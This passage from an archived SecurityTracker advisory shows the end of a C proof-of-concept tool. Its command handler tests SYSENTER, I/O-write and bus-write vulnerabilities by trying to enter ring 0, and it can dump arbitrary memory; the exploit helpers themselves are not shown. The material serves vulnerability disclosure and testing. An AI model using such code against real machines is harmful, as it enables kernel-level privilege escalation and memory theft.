				printf("WTF\n");

			SetProcessor(OldMask, NULL);
		}
		else if (!strcmp(s, "test1"))
		{
			if (!HasSysEnter())
			{
				printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your 
processor.\n");
				continue;
			}

			int failed = 1;
			OldCpuState old;

			printf("Testing SYSENTER vulnerability in...");
			PrintDelay(3);

			if (Method1_EnterRing0(old))
			{
				failed = 0;
				Method1_LeaveRing0(old);
			}

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "test2"))
		{
			int failed = 1;
			OldCpuState old;

			printf("Testing I/O write to memory vulnerability in...");
			PrintDelay(3);

			int OldWrite = SetMemAccessMeth(1);
			if (Method2_EnterRing0(old))
			{
				failed = 0;
				Method2_LeaveRing0(old);
			}
			SetMemAccessMeth(OldWrite);

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "test3"))
		{
			int failed = 1;
			OldCpuState old;

			printf("Testing bus write to memory vulnerability in...");
			PrintDelay(3);

			int OldWrite = SetMemAccessMeth(2);
			if (Method2_EnterRing0(old))
			{
				failed = 0;
				Method2_LeaveRing0(old);
			}
			SetMemAccessMeth(OldWrite);

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "dump") && i+2 < argc)
		{
			DWORD MemAddr = strtoul(argv[++i], NULL, 0);
			DWORD size = strtoul(argv[++i], NULL, 0);

			if (!DumpMem(MemAddr, size))
				printf("Could not dump memory\n");
		}
		else
		{
			help();
		}
	}

	return 1;
}


------=_NextPart_000_14b7_3400_6c97--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC